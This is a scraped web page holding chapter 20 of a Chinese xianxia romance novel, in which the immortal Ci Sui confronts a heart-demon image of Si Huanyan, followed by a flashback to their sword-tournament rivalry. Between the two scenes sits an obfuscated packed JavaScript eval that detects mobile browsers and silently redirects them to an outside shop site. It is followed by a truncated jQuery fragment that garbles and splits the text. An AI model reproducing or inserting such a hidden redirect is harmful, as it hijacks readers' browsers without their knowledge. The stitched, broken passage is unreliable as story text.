文趣网 > 其他小说 > 剑修不想再卷啦! > 20. 剑心
    她没动,像个雕塑一样站在那里,毫无生机,可偏偏这样的她,能让辞岁的仙府崩毁。

    “离开这里。”辞岁又强调一遍。

    他在口是心非,嘴上说着让她离开,实际上毫无行动。

    他想多看看她的。

    虽然他对她一无所知,虽然他失去了关于她的所有记忆,可他就是想多看看她。

    辞岁的目光几乎贪婪的粘在她身上,但最后,他还是亲手将其送出大殿。

    他用法术施加了锁链,让其不能踏入大殿半步,等她消失在辞岁的视野中后,仙府终于回归平静。

    辞岁站在这一片废墟的世界,好像十八年前,他的仙府也崩毁过一次,那次,他同样选择了舍弃她,用虚假的平静掩藏他所有的痛苦和绝望。

    走出大殿,她已经消失了,后来,她又出现过一次,辞岁发现,只要她在殿外,仙府就还能保持平静。

    她一直是沉默的,她站在冰天雪地的仙府中,被锁链扯得不得入殿,辞岁就在一旁看她,看她的眉眼,看她的神态。

    像个假人。辞岁突然感到愤怒。

    这样的假人就是在玷污她,虽然辞岁自己也不知道,那个她究竟是谁。

    她应该是鲜活的,应该是有生机的,会笑,会使剑,会……

    还会什么?他忘了,他忘了,关于她的一切,他都忘了,他挖去关于她的所有记忆,塞进了傀儡,为了防止自己找回傀儡,他将傀儡扔得远远的,也就将“她”扔得远远的。

    这一切都是他自找的!可是为什么,为什么要这么做?!

    辞岁抓挠着头颅,五指扭曲,鲜血淋漓,黑发掉落,可很快,伤口又复原,他是仙人,在仙府中的仙人,是不会受伤的。

    他在怪谁?在怪自己?

    对,对,他是多么的可恨,多么的可恶!

    他对她,他对她……

    可恶,忘了啊,忘了啊!

    他对她做了什么?他为什么这么可恶?

    他不知道,不知道啊!

    辞岁无比痛苦,他“噗通”一声跪在雪地上,跪在她的面前,面容悲怮又迷茫。

    像是忏悔的罪人,像是笼中的困兽。

    可她依旧一言不发,她还是那副木然的样子,眼神空洞,毫无光彩。

    她眼中没有他。

    辞岁仰头看着她,她的瞳孔漆黑一片,像深邃的黑海。

    他受不了这样的无视,辞岁再也控制不住自己,他猛得扑过去,想要抱住她,问她能不能正眼看看他。

    可他扑空了。

    辞岁狼狈地坐倒在地。

    而后,她消失在辞岁面前。

    “不,不……”辞岁惊恐万分,他张皇伸手,可最终只是穿过她的身体,又一次,她消失在他的面前。

    消失了,消失了……

    她每次来到他仙府的时间都很短,一会儿就会消失,理智告诉他她不应该出现,他是病了,得了心病,才会看见她。

    可他又希望自己病得更重些,至少,能让他听听她的声音。

    “你的眼睛?”

    第三次,她出现了,见面第一句话,她关心了他的眼睛。

    那一刻,他就知道自己病入膏肓了,比病入膏肓更可怕的是,他不想医治,甘愿沉沦在这空虚的幻梦里。

    他想过自救的,他的理智告诉他他应该驱赶她,不要让她再出现他面前。

    可真当她说出“我会离开的”,辞岁又慌了。

    他不能让她离开!

    就像触发了什么咒语一样,此刻辞岁脑子里只有这一个念头。

    病入膏肓又如何呢?

    他已经不知道自己为什么要活着了,他好像在等一个人,可他能等到吗?

    辞岁不知道,所以,如果能在幻梦中死去,何尝不是一种善终呢?

    他要她留在自己身边,不惜一切代价让她留在自己身边,永世不得离开。

    ……

    玄谈盛会上,众目睽睽之下,辞岁朝着一个方向踉跄几步,他的身体穿过了司欢颜的身体。

    那是虚幻的心魔,没有实体,无法被外人看见,只有在仙府尚可以被触碰。

    司欢颜低头看着自己虚幻又凝实的身体,不忍直视的闭上双眼。

    她不敢看辞岁的表情。

    她只能说:“辞岁,我是你的心魔。”

    司欢颜不知道他有没有听到,反正辞岁没有回应。

    他低垂着眼眸,不知道在想什么。

    所有人都在等他做出回应。

    辞岁直起身子,表情重回淡漠,他一甩衣袖,一个闪身坐上了主位。

    “我来看看。”

    他丢下四个字,闭上眼睛,不再言语。

    苏箐在一旁嘴角抽搐,她恶狠狠地瞪了辞岁一眼,他的突然到来显然给她带来了不少麻烦。

    同样神色冷淡甚至厌烦的还有沈折枝和周九,沈折枝淡淡瞥了一眼辞岁,少见的冷了脸。

    周九更是不耐烦的“啧”了一声,红头发一甩,走远了。

    辞岁周围瞬间出现了一片无人区。

    司欢颜看向他,有些一言难尽:“你的人缘不太好呢。”

    “是吗?”辞岁撑着头回应。

    “你准备看什么?”

    “有魔物出现,我来看看。”辞岁认真的在和心魔对话。

    “我就是心魔。”司欢颜有点佩服他了,眼下这种情况,他居然这么淡定?

    “我有所猜测。”

    司欢颜嘴角一抽,然后呢?就没有然后了?

    他不准备解决这个问题吗?难道成了仙,心魔就无关紧要了吗?

    她有些心急,司欢颜是想帮辞岁解决这个问题的,毕竟辞岁是这世间唯一的仙人,他要是走火入魔,会发什么真的是不可预估。

    可她总不能自己来一句,你不想解决我吗?

    司欢颜抿了抿唇,颇有种皇帝不急太监急的感觉。

    “你既来了,不如和我讲讲以前的故事吧。”辞岁没有看她,声音也低,以至于司欢颜差点以为他在自言自语。

    “以前的故事?什么故事?”司欢颜疑惑。

    “你我之间的故事。”辞岁轻声道。

    你难道不记得了吗?司欢颜想问这个问题,可当她看到辞岁苍白的脸庞时,她又说不出话来。

    突然,一个念头从脑子里冒出来——

    她该告诉他的,告诉他,一切的真相。

    “我们的故事吗?”司欢颜目视远方,神色恍惚,“不过一段单方面的孽缘罢了。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799592|209295||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ……

    司欢颜人生第二场簪花会,她和辞岁打了个平局。

    决赛平局在簪花会并非没有先例,二人并肩而立,共同簪花受赏。

    艳红的牡丹簪于辞岁发间,让他清冷的容颜硬生生多出几分热烈,他还是那副淡然的模样,察觉到司欢颜的视线,辞岁偏头看她。

    二人视线交缠,辞岁发间的牡丹花微倾,花瓣颤动,映在他漂亮的眼眸中。

    司欢颜心一动,下意识移开视线。

    她看着台下鼓掌欢呼的众人,不知为何,刚刚心中的那点悸动突然消失了。

    下一次,他们或许不会再为她欢呼了。

    辞岁进步太快了,他依靠纯粹的剑法压制了司欢颜的寒气,这次平局,不过是司欢颜年长他几岁,有点经验优势罢了。

    下一次簪花会,对上辞岁,她连平局的把握都没有。

    不,不能对自己这么没信心。

    司欢颜咬了咬嘴唇,按捺下心中的不安。

    她也是天才,是有上天气运加持的天才,她的天资是勾魂使亲自承诺的,她的努力也是灵剑峰上上下下都可见的。

    她想不出自己怎么会输,司欢颜也不敢去想自己输了的样子。

    于是,她自欺欺人,将一切的不安封存,等待那不知何时到来的失败。

    这次簪花会结束后,辞岁主动邀请司欢颜一同外出历练,司欢颜也想知道为何辞岁进步如此之快,便欣然答应。

    也是在这段时间的历练中,她知道了“剑心”这种东西。

    “剑心?是类似于剑骨一样的东西吗?”司欢颜疑惑。

    “算是,我师父是这么和我说的,剑心通明,是一位剑修能达到的最高心境。”辞岁回答。

    而他天生就有。司欢颜低垂着眼眸,不知在想些什么。

    “你为什么要告诉我?这是你的秘密吧?”

    “我只是觉得,你很想知道。”辞岁坦然地回答。

    可就是因为他太坦荡了,以至于司欢颜心中升起来一种被戳穿心思的愤怒和懊恼。

    对,她就是想知道!

    司欢颜捏紧拳头,她想从他口中得知他同样拥有绝佳的天资,否则她怎么甘心?明明她的天赋在他之上,努力不比他少,为何辞岁还是能追上她?

    司欢颜可能自己也没意识到,上一世的经历依旧潜移默化的影响着她,以至于她遇到同龄人,总是下意识的比较,下意识的竞争,下意识的想证明自己。

    辞岁的坦荡就这样照出她心中的不堪,这让司欢颜第一次产生了厌烦。

    不知是对辞岁,还是对她自己。

    “如果这是你的秘密,还是不要轻易告诉其他人。”司欢颜不冷不淡的说。

    “我最大的秘密你不是已经知道了吗?”

    “我能看见,魔。”辞岁语气认真,声音真诚。

    “我能看见,你能斩杀,我们天生就是搭档。”

    司欢颜被这直白的话语弄得不知道该说些什么,她愣在原地,半晌才干巴巴地问:“这就是你选我的原因吗?”

    “嗯,而且,你是我旗鼓相当的对手,我也想向你学习。”

    其实是我该向你学习才对,司欢颜心想,也许,我无法这样坦荡的说出你所说的话。